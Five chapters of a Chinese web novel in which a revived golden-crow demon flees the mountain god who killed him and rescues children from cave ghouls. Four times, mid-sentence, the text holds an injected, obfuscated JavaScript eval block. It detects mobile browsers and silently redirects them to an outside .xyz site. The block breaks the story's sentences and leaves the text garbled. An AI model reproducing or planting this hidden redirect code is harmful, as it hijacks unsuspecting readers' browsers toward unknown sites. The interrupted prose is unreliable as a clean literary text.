《作精黑月光重生跑路指南》 1. 忆相念空(一) 荣观真是一位恶贯满盈的邪神。 “你疯了?我可是空相山神,你不许这么说我!” 这话若是让从前的荣观真听到,必定会气得他当场大开杀戒。只可惜他的想法从来无人在意,毕竟他品性如何早已是板上钉钉的事情。 荣观真,空相山山神,蕴轮谷主尊。掌山中万物生灵,庇一切飞鸟走兽。空相山绵延万里不绝,山脊所过之处无一不为他触达。东阳江滚滚直驱入海,其沿岸花草树木亦无一不受他照拂。 这本该是座福祚无尽的圣山,但是荣观真所犯的罪行用罄竹难书来形容也不为过。 早年间,他得母神扶持成长,一经得道就反手杀害了至亲。神力稍有精进,他便为独占香火将同侪屠戮殆尽。稳坐主神之位后,他更是时刻对信徒予索予求。 空相山地势狭而险峻,古时候唯有一条金云粮道可供商队穿行,据传跑马人若是不常为荣观真上供便必定有去无回,就连魂魄也要被拘在山中,死后亦饱受劳役之苦。 自私自利,无恶不作。屠亲戮友,害人害仙。就这样一位恶神,却在众人唾弃中一步步登上了万岳之巅。 在荣观真残害的所有人中,最值得一书的当然便是时妙原。 时妙原何许人也?他乃是金乌化身,日轮鸟妖。他生在天地初开时,为后羿射坠后偶得重生法门。他与山海同寿辰,世间万物皆连通了他的神识。他有十枚不灭金羽,既能够点石成金,也可使人肉身飞升成仙。 荣观真无恶不作,时妙原也同样放肆卑鄙,他尤爱啖活人血肉,所犯下的杀孽甚至有过之而无不及。荣观真恨时妙原入骨,两人自初识起便针锋相对,他们的矛盾越积越深,在时妙原吞吃七名山神信徒后终于达到了顶峰。 最终,荣观真先下手为强斩杀了时妙原。可就在临死前时妙原放话说:他其实为自己留了条后路。那些金羽并不在他身上,他早已提前将它们藏去了别处。 “谁能够找到金羽,谁就能复活金乌。” “谁能够复活金乌,谁就将永登仙阶。” 说完这话,时妙原便死在了荣观真剑下。 其后九年间,有无数仙家为之四处奔走,可那些金羽却始终下落不明。 有人质疑说,时妙原恐怕根本就没留下过这些东西,此君生性恶劣,就连死了也要搅得人世间不得安宁。 也有人猜测,时妙原其实早就连人带羽毛被荣观真烧成了灰烬。空相山神生性谨小慎微,断不会为仇家留卷土重来的机会。 每当论及此事,人们都会感慨:荣观真虽不是什么好东西,但时妙原死在他手中也算是罪有应得。 “活该死无全尸的晦气玩意儿。” “和荣观真狼狈为奸的吊丧乌鸦。” “本来就是只死鸟,怎么白白让他多逍遥了几千年?” “什么太阳神,我看他就是个扫把星!” “事情不是这样的!” “是谁在唱反调?!” “荣观真之所以杀时妙原,是为了给那些被他所害的少年报仇!” “时妙原其实没那么坏,早年间他们的关系其实也很……很好。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142643|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一切都是有原因的,时妙原恐怕是被陷害的啊!” “荣老爷是位好神,你们不要再污蔑他了!” “你又懂个屁?荣观真自己都没有反驳过!” “可,可是……可是他也很想再让他活过来啊!!!” “亭云。” “荣老爷……” “别说了。” “算了……别说了。” “没必要。” “快回来吧。” “走吧。” “咱们还是算了吧。” 对啊,还是算了吧。 这一切有什么意义? 没人会信他的自白,也没有人会质疑板上钉钉的判词。 山无法为自己辩白,山只能沉默以待。山对人做了什么,人便如何塑造那山。人如何谈起那山,山便如何予世人以回响。 山就在原地,山岿然不动。山见证着时间,而时间却不肯予他自由。 山说,它见过日升月落,也见过马儿逃脱藩篱。山听过春芽破土的呢喃,也曾品闻豪雨汇入汪洋的低鸣。山抚过化冻回游的溪鱼,也曾触达自天边划落的流星。山吻过土崩瓦解的碎石,也曾在黎明时拥抱流连彼端的星云。 山认为,当太阳再度落下,明月会皎然升起。 而当那轻羽翻越群山,鸟儿们也将落去它魂牵梦萦的故乡。 有谶曰: 金乌独坠月东升,昼夜轮转至理明。 白马天宫当折桂,占之必定是无穷。 山说: “带我逃跑吧。” 2. 忆相念空(二) “啊,这都什么跟什么啊!!!” 时妙原大叫一声,将一本印得花里胡哨的空相山旅游宣传手册撕成了碎片。 2026年,休宁镇。 海阳峰下人来人往,今天是端午庙会开幕的日子。城内节日气氛热络欢快,而在古巷深处某间名为沉鸢阁的旅舍里,却传来了阵阵不明所以的哀嚎。 时妙原是在山中的一条小溪里醒来的。 刚睁开眼的时候,他只觉得头疼脚疼屁股疼,眼酸嘴酸脑仁酸,浑身就好像被人拿冻带鱼抽了三天三夜一样松散。 “这什么鸟地方?” 他扒开脸上的水草茫然起身,有个穿汉服出游的小姑娘看到他,尖叫着为这位暴露狂拍下了数十张清晰无比的罪证。 半小时后,时妙原蹿进树林,从护林员的小木屋中偷来了一套工服。 “2026年?!”他边穿衣服边对墙上的日历尖叫,“我靠,我怎么才死了九年!娘嘞,这咋还是海阳峰?我服了,这不荣观真的地盘吗!!!” 海阳峰属空相山脉,这儿毋庸置疑是荣观真的势力范围。一想到这位大神,时妙原就觉得自己的胸口在呼呼漏风。 荣观真乃空相山山神,他与时妙原相识甚久,只不过两人自多年前起就断绝了往来。时妙原对荣观真唯恐避之不及,而荣观真也恨不能将他碎尸万段。两人最后一次见面时,荣观真用那把赫赫有名的淬火剑将时妙原捅了个对穿,淬火剑名为三度厄,据传它一生中只有三次使用机会,死在这把剑下的人不论法力高低都必然形神俱灭,就连入轮回的机会也不会再有。 那么问题来了:他是怎么复活的? 时妙原微微运气,不出所料感知到了金羽的存在。只可惜那气息十分微弱,与从前根本不可同日而语。 作为太阳神鸟的核心,金羽是时妙原法力的本源。他原有十枚苏生金羽,现在体内就只剩下了一支,这还是他当初为避免被赶尽杀绝而留下的后招:只要金羽尽数为人所得,他便会以不全之姿被强行唤醒。他醒了,那也就意味着,其余九枚金羽应该已经全部被找到了。 没有金羽,就没有法力。没有法力,他就寸步难行。他虽已经复活,但若想彻底高枕无忧,就必须想办法拿回金羽……可先不论他要去哪找这些小东西,眼下最要紧的是,他必须立刻想办法离开这里。 时妙原生性顽劣,他能看得上的东西屈指可数,其中包括晴天、大海,黄金珠宝等一切会发光的小玩意儿。而在他所恐惧的所有事物里,也有三样连年高居榜首: 雨,山,荣观真。 因为雨与他天生相克,山总会阻碍他的飞行路线,而荣观真不仅是他的杀身仇人,还曾经和他……算了,这个并不重要。 总之,此地不宜久留! 说走就走,时妙原稍作休整便离开了小屋。逃命下山途中,他大致弄清楚了自己所处的状况。 首先,他的长相并没有发生太大变化。换衣服的时候他在镜子里看到了自己:他依旧是黑发红瞳,也依旧俊美非凡。那套乞丐似的工装自然无法掩盖太阳神鸟的锋芒,只可惜深山老林里没有现成的珠宝首饰,否则他怎么也得好好地打扮漂亮了再走。不过,即便情况紧急,时妙原还是给自己编了条晃晃荡荡的小辫儿。 其次,他点石成金的能力还在。出门前他从屋主的抽屉里取了几张钞票,作为补偿,他将那人留下来的硬币全部变成了金豆。 再次,光长得好看或有钱对现在的他来说没有任何鸟用。 在数次尝试呼云腾飞无果之后,时妙原发现自己已经很难用出什么有杀伤力的法术了。这就意味着,他现在的实力和普通的鸟妖并没有多大区别,而他要是在此时偶遇荣观真,恐怕会直接和三度厄一起断成两截。 更糟糕的是,当他一路狂奔下山抵达休宁镇,出山的大巴车刚好过了运营时间。时妙原别无所选,只能先想办法住下,待第二天天亮再择机离开。 结果他好不容易换了零钱,找了酒店,却发现当地人不知哪根筋搭错,编出了一套与史实完全不符的空相山传说集锦,还给它取了个颇文艺的名字: 《忆相念空》。 时妙原差点没咬碎后槽牙。 睁眼说瞎话。纯纯的睁眼说瞎话! 他明明风姿绝尘,是谁把他描述成了那种丑陋可怖的怪物? 他才死了不到十年,这些破事儿怎么就被写到了书里? 是哪位山神河仙嘴上没把门,跑人间乱散布消息来了啊!!! “什么生啖活人血肉,什么和荣观真狼狈为奸……这群混蛋白痴王八蛋,看人翘辫子了就胡说八道的谣棍!都给我等着,等老子拿回羽毛,我就把你们的嘴巴一个个缝起来当马桶用!” 时妙原气到极点,以至于将怒火转移到了旅社前台头上:“你!你告诉我,这玩意儿到底是哪个孙子写的?把他叫出来,老子要跟他决斗!” 沉鸢阁今日当值的员工叫作张望。他打了个哈欠,懒洋洋地答道:“大床房一百八,双床房两百,端午优惠九点九九折,老顾客再减五块。您到底要不要住店?咱家小本生意,不支持先用后付哈。” “住!我住!”时妙原愤而挥拳道,“我就住一晚,明早说什么我也要离开这里!” “那行,您怎么付钱,微信还是支付宝?” “啧,现金不行吗?我没带手机。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142644|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “现金?”张望坐直了起来,“兄弟,我看你年纪轻轻,咋连电子支付都不会用?你是野人吗?还是说才刚从国外回来?” “对对对,老子每天啥也不干就挂树上oioioi乱荡和人猿泰山吃嘴子行了吧?别废话,你还要不要做生意了?” “要的哥!但泰山是谁,他是外国人吗?你能跟他处朋友,那你的洋文肯定很好咯?说两句给我听听呗。” “可以啊,Funny de Pee.” “好别致的发音,这是法语吗?啥意思啊?” “我说放你的屁。”时妙原拍出两张百元大钞,“给我来间双床房!” 张望撇撇嘴,噼里啪啦地敲起了键盘。一阵操作之后,他对时妙原摊开了手掌:“身份证拿来。” “……身份证?”时妙原疑惑地眨了眨眼睛。 “对啊,你没带吗?” “我……没办。” “我靠,你不会真是黑户吧?!”张望高声惊呼道,“没有身份证是不能入住的呀!你连这个规定都不懂吗?” 实话说,时妙原还真不太清楚这一点。 毕竟从前,他只要出门就自有人为他安排最豪华的住处。别说是住店手续了,就连一日三餐吃什么,洗澡用什么味道的泡泡球都能给他拾掇得明明白白。严格意义来说,这的确是他有生以来头一回独立住店。 时妙原犹豫片刻,从裤子口袋里摸出两颗金豆,依依不舍地摆到了柜台上。 “通融一下呗。”他心碎地说。 “嗯?这可不行!”张望立马严词拒绝,“酒店系统全国联网,要是出了什么问题我可担不起责任。” 那咋办嘛?他今晚总不能露宿街头吧!时妙原心中警铃大作:外面雨那么大,天气那么差,他要是真在桥洞里对付一晚,明天还能有命出山吗? 倒不是说鸟淋雨感冒了会死,只是再在户外多逗留一秒钟,他都觉得荣观真随时会杀上门来! 正在时妙原发怵之时,一个人带着满身雨水气撞开了沉鸢阁大门。 “我靠!谁!” 事发突然,时妙原吓得差点直接飞到了天花板上。好在来的不是荣观真,而是个其貌不扬的中年男人,他一进门就大呼小叫道:“望望,你爸在吗!” “周叔!”张望从柜台后跑了出来,“我爹打牌九去了,你找他有什么事?来一起摸两把不?” 周合云急得直跺脚:“傻小子,都啥时候了还打牌呢,你妹妹她出事了!” “什么?!” “他们几个小孩子到山里面玩,结果不小心掉到溶洞里面了!山里路滑车开不上去,你赶快多找几个帮手,也一起过去看看吧!” 3. 忆相念空(三) 时妙原怎么也想不到,自己非但没有逃跑,反而掉头回到了大山深处。 他本不想蹚这浑水,可张望病急乱投医,硬是把他也薅了过来。这小子开出的条件是免费住店一周加包三餐用度,就连证件问题也可以忽略不计,搁从前时妙原肯定不屑于这点好处,但今日不同往日,他终究还是没能抵御住吃白食的诱惑。 在来的路上,时妙原大致了解了事情的原委:今逢端午假期,张望的妹妹张遥和两个朋友相约到山里踏青,一时兴起走得远了些,结果雨天路滑,一不小心掉进了洞里。 那洞名为藏仙洞,是一个典型的喀斯特地貌溶洞,其入口仅有成年人手臂宽,也不知道他们是怎么失的足。两小时前张遥曾发来求救短信,而后就再没有任何消息了。时妙原一看她的照片:这不就是他刚醒来那会儿,和他在河边狭路相逢的小姑娘么? 他正感慨命运巧合,一个虎头虎脑的消防员跑过来喊道:“家属在哪里!” “这里这里!”有人焦急地迎上了前去,“您是陈志捷对吧?小陈同志,我叫张鸣恩,我是张遥爸爸!遥遥她现在怎么样了?” “不知道,但洞里还有生命体征信号!事不宜迟,必须立刻下去救援!” “啊,那,那派谁?” “我来,你们几个在上面帮我拉绳。”陈志捷说着脱掉了外套,“千万听我指挥,这地方情况复杂,我……嗯?你是?” “让我来吧。”时妙原拍了拍他的肩膀,“我比你适合。” “你?” 在场众人露出了怀疑的目光。 “小兄弟,咱们认识吗?你,你不要勉强啊……”张鸣恩脸上满是不安,他怎么看怎么觉得,时妙原根本就是个娇生惯养的少爷。 “那个,哥?”张望扯了扯时妙原的袖子,“其实你能来我就很感激了,咱没必要为了免房费拼成这样……” 陈志捷的态度十分坚决:“你不行!你不是专业的,贸然下去只是送死。” “废话那么多,谁送死还不一定呢。”时妙原不耐烦地摆了摆手,“别说了,我下,我以前是搞攀岩的,这种洞对我来说都是小菜。” “可是……” 时妙原白了他一眼:“可是什么可是,再可是下去咱就得考虑大席上什么菜了。拿绳子来吧!我体格小,要你们几个去估计能直接卡半道上。而且你救援经验丰富,不是更应该留在上面指挥吗?” “……行吧。”陈志捷咬了咬牙,“那你跟我来!” 时妙原之所以会想亲自下洞,是因为他嗅到了某种十分特别的气息。 非人的气息,从藏仙洞深处幽幽地飘了出来。如果他没猜错的话,那应该属于空相山的特有品种:红面鬼魈。 红面鬼魈,身似猿猴,如鬼如魅,像人非人,面红体青,身长体胀。这东西由身死山中者的怨气凝结而成,平日里最爱食活人骨血,在场的无一例外全都是普通人,要是让他们进洞,那才是真正的自寻死路。 不过……时妙原感到十分奇怪:从前空相山虽时常有鬼魈出来害人,但那也都是深山老林里发生的事情了,更何况近几百年来它们几乎全都销声匿迹,今天怎么会跑到这么靠近城镇的地方来? 他正思考时,冷不丁被角落处某个东西吸引住了目光。 “那是干什么用的?”时妙原抬手问道。 陈志捷朝他所指的方向望去,那是一座上了些年头的石亭。 亭身青苔斑驳,里面摆了张破破烂烂的红木八仙桌,桌上有猪头,有鸭腿,还有整鸡和烧鹅。香炉中插了有香,只是火已经灭了,仅留下一炉有气无力的灰烬。 张鸣恩小碎步走来,凑在时妙原耳边说道:“这是给山神的。” “山神?” “就是荣老爷呀!”张望迫不及待地接过了话茬,“你难道不知道吗?咱海阳峰位处空相山脉中段,从这儿往东往西上千里地全都是荣老爷的地盘!相传荣老爷极重视祭礼,如有怠慢必定会降下责罚,祭山神是我们家一直以来的传统,从我妈还在的时候就开始了,对吧,爸?” “我拜荣老爷有头二十年了,从没想过还能出这种事情。”张鸣恩喃喃道,“也不知这些东西是不是不合他胃口,他竟直接把遥遥也收了过去……” “哎哎哎,你等一下!”时妙原不耐烦地打断了他,“我说你行行好,你当荣观真是山神还是村口买卤货王二爷啊,哪有因为饭菜不称心就收人的道理?你赶紧给我闭嘴,我最讨厌你们这些搞封建迷信的,我看,咱们还是马上下洞吧!” 说完,他三下五除二将安全绳穿戴在了身上。 绳子一头连着他,另一头则接着台巨大的滚轮,有零星几位消防员在一旁严阵以待,多番确认之后,时妙原冲陈志捷点了点头:“那开始吧。” 雨变大了,天空中时不时有闪电划过。 泥水顺沟壑而下,不一会儿便在低洼处汇成了浅滩。 吆喝声此起彼伏,高功率探照灯将森林映得亮如白昼,而在藏仙洞口五米开外的地方,夜色正目不转睛地凝视着在此忙碌的人类。 “下,下!当心……” “慢点,慢点!哎哟你别急!” “注意角度!小心别撞到石头!” “停!”时妙原高声喝道,“先别放了!” “怎么了怎么了?” “下面全都是水!” 说完,他将注意力重新放回了脚下。 藏仙洞里光线极差,头顶的探照灯在此几乎起不到任何作用。四周乳石嶙峋,头顶不断有泥水滴落,有一些溅到时妙原嘴里,恶心得他连呸了好几口唾沫。 “爹的……我就不应该贪这个便宜!”他恨恨地抱怨道,“等出来了,我一定要把那几个小兔崽子的屁股抽烂!” 下落继续进行,时妙原不断调整着身体的重心,雨声越来越远,就在这时,他捕捉到了一丝不自然的异动。 撕拉。 什么动静? 咔,咔。 嘶—— “我草,不是吧?” 时妙原瞪大了眼睛:“别在这种时候……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142645|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嘣! 绳索应声而断。 破风声划过耳廓,时妙原想也没想,立刻强行催动法力,变成了一只翼展有半人之宽的三足乌鸦。 羽流刺破水幕,下落速度瞬间放缓,这是时妙原自重生以来第一次回归本相,他极速俯冲向下——在即将着陆之前,他感到心脏处传来了一阵针扎般的刺痛。 糟了!他忙不迭变回人形,狼狈地掉了有小腿肚深的积水中。 “哥!哥你还好吗!”头顶传来了张望焦急的呼唤,“哥你可千万别有事啊,你要是死了也别回来找我!我家生意本来就不好,要再闹鬼那就真完了!” “你能不能少咒我两句啊!”时妙原当即爬起,中气十足地骂了回去:“托你们几个笨蛋的福,屁股还没有摔烂!连个绳子都拉不好到底干什么吃的,那个谁,那个小陈在吗?” “在!在!”陈志捷焦急地应道,“怎么回事,为什么绳子会断啊……刚才不是还好好的吗!” “我鬼知道啊!你先把你旁边那傻子嘴堵住,然后把备用绳给我放下来!” 绳索很快落下,时妙原接过绳头,将它缠到一旁的钟乳石上打了个死结。他一固定好绳子,就立马在自己身上到处乱摸了起来。 “应该都变回去了?应该没有羽毛了吧?”他自言自语道,“我靠,我就变了那么一小会儿,应该不至于被他发现吧!” 对时妙原来说,摔不摔跤的其实都是小事,只要不被荣观真发现自己还活着,那一切就都还算有余地。 确认方才那点灵力波动没有引起注意之后,他才稍稍松了口气。 时妙原打量起了洞内的环境:四周水滴不断,还立有许多天然形成的钟乳石柱。洞里黑得伸手不见五指,若不是鸟类夜视能力尚好,他在此恐怕根本就寸步难行。 此地空间不大,左前方有一条不起眼的窄路,张遥很有可能就在那里。时妙原稍作思考,迈步向前走了过去。 “切,发现了又怎么样?有本事就来弄死我啊。”他嘟嘟囔囔地说,“那小王八蛋日理万机,每天光是打理他那些花花草草就够够的了,总不能成天为几百年前那些陈芝麻烂谷子的破事和我过不去吧……吧。” “嗯……就是说嘛,就是说啊!反正荣观真也不会来这种破洞里溜达,那我还有什么好担心的呢?那反正人家是小鸟啊,小鸟会有什么坏心思嘛——” 人一旦说服了自己,就会陷入某种全无理性的喜悦之中,鸟也不例外。眼见四下无人,时妙原突然戏瘾大发,他一边向岔路口走去,一边掐着嗓子唱道: “那当然了,那绝对啊,荣老爷心胸宽广,怎么会和小鸟怄气呢?人家是小鸟啊~小鸟啥也不知道~小鸟就只晓得吃果果,造窝窝,钻草堆里睡觉觉!小鸟什么都不懂,小鸟最爱念荣老爷的好!荣老爷英明神武,可坏就坏在爱拿奴家逗趣儿。哎呀呀,老爷啊,您这是要干什么,荒郊野外的可不兴做这档子事儿,哎呀快撒手!哎呀羞,羞羞!羞……” 时妙原娇羞地转过身去,冷不丁和荣观真面面相觑。 4. 三度苦厄(一) 扑通。 时妙原干脆利落地跪了下来。 “活爹。” 咚咚咚咚咚。他一连磕了四五个响头。 “老子错了,我瞎说的,你别杀我,我是你儿啊。” “咋了咋了?下面有什么东西?”张望焦急地闻道,“怎么叮叮咚咚的一直在响?” 有我祖宗。时妙原欲哭无泪地想。 他匍匐在污水中,整个人都在发抖,他知道这样很丢人,但他实在是控制不住自己。 曾经的时妙原的确可以算得上是世间一霸,但在最本能的恐惧面前,一切伪装都不过是虚张声势。 只刚才那一眼,他就已经快要被吓破了胆子。时妙原怕极了荣观真,因为他是真的死在了这尊大神的手里。 临死前的记忆涌上脑海,他回想起了三度厄将他贯通的全部过程。 他先是听见火焰咆哮而来的风声,紧接着心口利落干脆的洞穿贯通了他的神识。然后闻到了心脏被烤碎烹熟的焦臭,隔着飞溅的火花和焰流,他看见了荣观真那张漂亮得让人有点恶心的脸。 那时的荣观真满脸鲜血,面容平和。他的表情毫无波澜,嘴里说的是: 我祝你永不超生。 在荣观真眼里,时妙原或许早就已经是个死人了。而现在,他也没有对时妙原的求饶作出任何反应。 他既没有说话,也没有动手,他甚至连眼睛都没眨一下,就已经把时妙原吓得差点儿又见了一次阎王。 真淡定啊,这就是传说中的不动如山吗? 时妙原战战兢兢地抬起头来,他本想再说点好话,或者摇一摇尾巴,他至少得求那山神宽限自己两天时日,他还得去找回他的羽毛!荣观真却偏偏纹丝不动。 他的面容柔和,嘴角仍噙着意味不明的笑。紧接着他眨了眨眼睛,一条裂缝将他的脸倏地分成了两半。 哎? 时妙原一骨碌爬了起来。 他凑到荣观真面前瞪着他看了好久,又龇牙咧嘴地虚张了一番声势,山神大人也依旧无动于衷。 “……” 这哪里是荣观真,分明是一尊1:1等身还原的雕塑! 时妙原沉默片刻,抬头冲张望喊道:“没啥!不小心踩着狗屎了!” “啊?洞里怎么会有大便……” 洞里当然没有那么污秽的东西,洞里有的只是荣老爷美轮美奂的容颜!时妙原绕着那雕像转了一圈,只见它长发飘飘,衣袖宽广,眉目含情,双唇噙笑,即便沦落到了这破地方,也足称得上是风姿超然、器宇轩昂。 这石雕有多还原呢?时妙原蹲下来一看,发现就连荣观真手心的莲花掌纹也都被刻了出来。他手搭在腰间,那儿正好别了柄青玉制的长剑,这自然是仿照三度厄的样式做出来的:它可拆卸,可活动,要是兴致来了,还能抽出来舞上两下。 看到这儿,时妙原终于认出了这雕像的来头。 “哎,这不是老子当初送他的礼物吗?”他顿时气不打一处来,“你跟我闹别扭就算了,糟蹋好东西算什么本事啊!” 算了!既然不是本人,那就没什么好说的了。时妙原抄起手电筒就往洞里走,他本来还想再扇“荣观真”两巴掌,但又怕惹出事端,便只得黯然作罢。 “等等!你别擅自行动啊!”陈志捷的声音远远飘来,“你先看看里面有什么!要不还是等专业器械运过来了再进去吧!” “里头有路!”时妙原朝头顶晃了晃手电筒,“我先去探查一番!” 钟乳石结构松散,两人一应一答之间,有好些碎屑稀稀拉拉地掉了下来。 洞穴深处传来了某种奇怪的回音,时妙原关掉手电筒,蹑手蹑脚地沿石壁向里摸了过去。 很快,那尊活灵活现的雕像就被他甩在了身后。他越走,就发现脚下的积水越深。外面雨下得大,地下河涨水几乎已成必然。眼前道路愈发狭窄,脚下的阻力也在逐渐增大,时妙原走起路来步履维艰,可他却没有一点想要回头的想法。 “哥,咱真的要这么做吗?” 前方传来交谈声,时妙原先是一愣,然后迅速弓腰,缩到了一块奇形怪状的巨石之后。 “你傻呀!机会难得,过了这个村可就没这个店了!” 时妙原小心翼翼地探出头去,只见原本狭窄的道路豁然开朗,竟通向了一个十分开阔的大洞。 那洞中隐约有光,似是与天坑相连。交谈声是从地势稍高些的一处岩台上传来的,地下河尚未将它淹没,那儿歪歪扭扭地躺着两男一女总共三个孩子。他们虽还没断气,但不出所料已是全昏过去了,其中那女孩穿着水色的长裙,时妙原认出了她:那自然就是张遥。 在他们身边,趴着一胖一瘦两只长毛红面鬼魈。 果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142646|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是这玩意儿搞的鬼! 红面鬼魈善引歧路,还可迷住生人魂魄,这几个小孩估计就是被它们误导,才一步步走到了这无人问津的洞窟之中。 其中那瘦鬼魈生得干枯,它的毛发拧结,长臂扭曲,人样的脸挤在一起,全似一张皱皱巴巴、哀叹不已的鬼面。它窝窝囊囊地说:“可是我还是不敢吃……哥,你说荣老爷要是知道了,会不会把咱们剁碎了喂鸟啊?” “你管他干嘛?他都多少年没露面了!” 胖鬼魈比瘦子生得更壮,毛发更旺,胆子当然也要更大许多。它十分不屑地说:“荣观真有什么可怕的?这么些年来他是面也不露,愿也不应,外头那些傻子都以为他还在,他呢?却连每年大涣寺的生身祀典都不显灵了!你没听说吗?最近消息满天飞,说空相山主位其实已经换人了!” 荣观真怎么了?时妙原感到十分疑惑,听鬼魈的描述,他最近过得似乎不太如意? 不仅不如意,甚至有些古怪了!那小子不是最爱点化众生,最喜欢听人类给他吹彩虹屁了吗?怎么几年不见越来越消极怠工,连信徒的求愿也不放在心上了呢? 时妙原在这头苦想荣观真性情大变的原因,那边,瘦鬼魈还是久久不能作下决定。胖鬼魈见状,恨铁不成钢地拍了它一巴掌:“别犹豫了!最近山里灵力越来越弱,动物们死活往外跑就算了,就连东阳江都恨不得要改道去别处,咱俩都饿了多久了?至少有百八十天了吧!你再唧唧歪歪的,下一个被吃的就是你!” “哥,你说得对。”瘦鬼魈终于下定了决心。“那咱就吃吧!吃就吃……我也不是没吃过人!” “哎!这就对了!” “那,那先吃谁?” 胖鬼魈指着其中一个最没睡相的卷毛男生说:“这小子油多皮儿薄,不如就先吃他吧。” “好好好!”瘦鬼魈兴奋地搓了搓手,“你要吃哪?哥你先挑!” “哪都得吃!手心和脚掌留给我就行,我听说那儿的肉最嫩。” 说干就干,胖鬼魈捧起卷毛男的手啊呜一口咬了下去。 咔嚓!它的门牙和下牙激烈地碰撞到了一起。 “哎我靠?” 它不可置信地眨了眨眼睛。 “手哪儿去了?” “……哥?” 瘦鬼魈彷徨地问: “天怎么黑了?” 5. 三度苦厄(二) 人有五感:视、听、触、味、嗅。 人亦有灵识,乃知觉,为灵犀,可探过去、明现在,预知未来。 如果人的五感一识都被封住了会发生什么? 他们会陷入静默。 “什么情况?为什么我看不见了!” “哥!哥!我感觉好奇怪啊!” “他大爷的,是什么东西在——” 红面鬼魈们起初还在大叫,还会挥舞拳头示威,或者向空气咒骂高呼,但很快,它们的双臂就垂了下来。 时间一分一秒流逝,那恶鬼似的面容慢慢地凝固在了一起。它们眼神不再灵动,足以将洞穿钢铁与血肉的兽爪也乖巧地收了回去。 它们都不说话了。 洞窟中只剩下汹涌的水声。 时妙原收拢五指,将鬼魈们幽绿色的灵识攥成了小团。 “还行,老本行没丢。” 他将那雾似的灵体往上抛去,扔到了岩壁最顶端的一处浅坑中。 “先睡会儿吧,乖乖。” 封灵识,闭五感,目不能视,耳不能听,身体感官都成了摆设,即便山珍海味摆到嘴边前也是味同嚼蜡——不管是谁,只要中了这招,就都会失去对万物的全部感知,唯一的区别可能就是恢复时间长短而已。 这就是金乌的能力,人都道它是太阳神鸟的本能,这话确实不假,在后羿射下九日之前,时妙原的确曾当过太阳。 日升日落尽在手中,天地轮转皆随心意,从前有人为时妙原这招起了个很拉风的名字:封灵降意。可时妙原最讨厌这种神神叨叨的说法,他更愿意称之为: “关灯!” 鬼魈们彻底不动弹了。时妙原一跃攀上岩台,他一手扛起张遥,另一手则掬了把水,泼醒了刚才差点被吃进肚里的那卷毛小子。 他一睁眼就开始尖叫:“啊!爸!!我这次数学及格了!!!” “别乱认爹!”时妙原给了他一爆栗,“赶紧的,麻溜起来,把你旁边那小子背上,我带你们出去!” “啊?” 小卷毛一脸茫然,时妙原实在等不及,又再狠狠地敲了他一脑壳。 “这这这,大哥哥,这是啥情况啊!”这下他是终于反应过来了,可他非但不动,反而嗷嗷大叫了起来:“我不是在摘果子吗?我怎么到这儿来了!哇……哇好多水,哇你是谁,哇小遥你怎么晕了!哇!!!好大的猴子!!!!” “吵死了,别叫了!我怎么就选了你这么个废物啊!”时妙原气得只想再给他两脚,“还愣着干什么,看到旁边这俩大马猴了没有,你再啊啊啊的,它们等下第一个吃你!” “啊啊啊啊啊啊别吃我我昨天没洗澡啊——!!” 卷毛尖叫了半天,发现那猴子纹丝不动,弱弱地“哎?”了一声。 他再抬头,方才弄醒他那男人正满脸生无可恋。这人浑身泥水,气喘吁吁,表情又嫌弃又烦躁,可他的眼睛里……是错觉吗?他看起来担心得不行。 “叫够了没有?”时妙原粗声粗气地问,“叫够了就跟老子走。” “往、往哪走?我连怎么来的都不知道……” “先下来再说!” 时妙原已经不指望他能帮上忙了,他干脆直接抱着张遥和另外一个更清瘦些的男孩跳下了岩台。在水中站定之后,他对卷毛大喊道:“过来!” 卷毛哆哆嗦嗦地爬了下来,地下河水位突涨,湍急的泥水几乎没过了他的半身。 “腿没事吧?还能走得动不?”时妙原问。 “还、还能的!”那孩子一落地就紧贴到了他的身上,“大哥哥,我们要去哪啊?我是咋来的,小遥……遥遥她没事吧……呜……” “不许再哭了,有什么话等出去了再找你娘叫去!” 